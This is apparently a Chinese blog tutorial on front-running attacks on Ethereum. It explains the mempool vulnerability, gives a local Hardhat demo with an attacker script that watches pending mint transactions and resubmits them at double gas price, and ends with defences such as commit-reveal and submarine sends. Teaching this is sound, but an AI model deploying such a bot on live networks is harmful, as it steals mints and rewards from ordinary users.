一、漏洞
与大多数区块链一样,以太坊节点汇集交易并将其打包成块。一旦矿工获得了共识机制(目前以太坊上实行的是 ETHASH 工作量证明算法)的一个解,这些交易就被认为是有效的。挖出该区块的矿工同时也选择将交易池中的哪些交易包含在该区块中,一般来说是根据交易的 gasPrice
来排序。在这里有一个潜在的攻击媒介。攻击者可以监测交易池,看看其中是否存在问题的解决方案(如下合约所示)、修改或撤销攻击者的权限、或更改合约中状态的交易;这些交易对攻击者来说都是阻碍。然后攻击者可以从该中获取数据,并创建一个 gasPrice
更高的交易,(让自己的交易)抢在原始交易之前被打包到一个区块中。
让我们看看这可以如何用一个简单的例子。考虑合约 FindThisHash.sol :
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract FindThisHash {
bytes32 constant public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
constructor() payable {} // load with ether
function solve(string calldata solution) public {
// If you can find the pre image of the hash, receive 1000 ether
require(hash == keccak256(abi.encodePacked(solution)), "Answer is wrong");
payable(msg.sender).transfer(10 ether);
}
}
想象一下,这个合约包含 10 个 Ether。可以找到 keccak256 哈希值为 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2
的原象(Pre-image)的用户可以提交解决方案,然后取得 10 Ether。让我们假设,一个用户找到了答案 Ethereum
。他们可以调用 solve() 并将 Ethereum
作为参数。不幸的是,攻击者非常聪明,他监测交易池看看有没有人提交解决方案。他们看到这个解决方案,检查它的有效性,然后提交一个 gasPrice 远高于原始交易的相同交易。挖出当前块的矿工可能会因更高的 gasPrice 而偏爱攻击者发出的交易,并在打包原始交易之前接受他们的交易。攻击者将获得10 Ether,解决问题的用户将不会得到任何东西(因为合约中没有剩余的 Ether)。
未来 Casper 实现的设计中会出现更现实的问题。Casper 权益证明合约涉及罚没条件,在这些条件下,注意到验证者双重投票或行为不当的用户被激励提交验证者已经这样做的证据。验证者将受到惩罚、用户会得到奖励。在这种情况下,可以预期,矿工和用户会抢先提交(Front-run)所有这样的证据(以获得奖励),这个问题必须在最终发布之前解决。
二、抢先提交的代码实现
其实抢先提交的步骤很简单:
- 1.监听mempool
- 2.提交transaction data
我们用hardhat做演示。
首先我们写了一个mint NFT的合约,因为很多时候,在mint一些比较有价值的NFT时,科学家们会采用抢先交易,这样不会代码的朋友就抢不过别人了。合约代码很简单:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// Uncomment this line to use console.log
import "hardhat/console.sol";
contract Test is ERC721 {
constructor(
string memory _name,
string memory _symbol
) ERC721(_name, _symbol) {}
function mint(uint256 tokenId) external {
_mint(msg.sender, tokenId);
}
}
这个合约用户可以mint。
我们将这个合约发布在hardhat的node网络里,在这个EVM环境里,出块速度很快,由于网络太快那抢先提交就很难,所以我们写个脚本手动放慢EVM:
import { ethers } from "hardhat";
async function main() {
const provider = ethers.getDefaultProvider("http://localhost:8545");
await (provider as any).send("evm_setAutomine", [false]);
await (provider as any).send("evm_setIntervalMining", [10000]);
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
我们不让EVM自动出块,而且出块间隔为10秒钟。
我们先模拟一个不会代码的普通用户辛苦抢NFT(tokenID为25)的过程:
task("test-transaction", "This task is broken")
.setAction(async () => {
const tokenId = 25;
const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
const test = await ethers.getContractAt('Test', contractAddress);
try {
const tx = await test.mint(tokenId);
await tx.wait();
} catch (e) {
console.error(e);
} finally {
const owner = await test.ownerOf(tokenId);
console.log(`owner of ${tokenId}: ${owner}`);
}
});
科学家写了下面的脚本:
import { ethers } from "hardhat";
const ContractAbiFile = require("../artifacts/contracts/Test.sol/Test.json");
/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/
async function listen() {
const iface = new ethers.utils.Interface(ContractAbiFile.abi);
const privateKey = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
const provider = ethers.getDefaultProvider("http://localhost:8545");
const myWallet = new ethers.Wallet(privateKey, provider);
// await (provider as any).send("evm_setIntervalMining", [10000]);
provider.on("pending", async (tx) => {
console.log("tx detected: ", tx);
if (tx.data.indexOf(iface.getSighash("mint")) >= 0 && tx.from !== myWallet.address) {
// const parsedTx = iface.parseTransaction(tx);
// console.log("tx parsed: ", parsedTx);
const frontRunTx = {
to: tx.to,
value: tx.value,
gasPrice: tx.gasPrice.mul(2),
gasLimit: tx.gasLimit.mul(2),
data: tx.data
};
const tmpTx = await myWallet.sendTransaction(frontRunTx);
console.log("Front Tx=", tmpTx);
await tmpTx.wait();
}
})
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) => {
console.error(error);
process.exitCode = 1;
});
在这个脚本里,科学家监测了mempool,发现有新的tx进来,一旦发现data中有函数签名mint
,那就选定了目标,新建一个交易,这个交易中其他数据都和监控的交易一样,唯一的区别就是提高了gasPrice
和gasLimit
,然后使用sendTransaction
发送交易。
这个例子中,明明是普通用户先行mint,结果科学家却抢先交易成功了。
三、预防手段
1.使用 commit-reveal 机制
这种方案规定用户使用隐藏信息(通常是哈希值)发送交易。在交易已包含在块中后,用户将发送一个交易来显示已发送的数据(reveal 阶段)。这种方法可以防止矿工和用户从事抢先交易,因为他们无法确定交易的内容。然而,这种方法不能隐藏交易价值(在某些情况下,这是需要隐藏的有价值的信息)。ENS 智能合约允许用户发送交易,其承诺数据包括他们愿意花费的金额。用户可以发送任意值的交易。在披露阶段,用户可以取出交易中发送的金额与他们愿意花费的金额之间的差额。
2.使用 submarine send
有关submarine send的详细介绍原网页:https://libsubmarine.org/
网友评论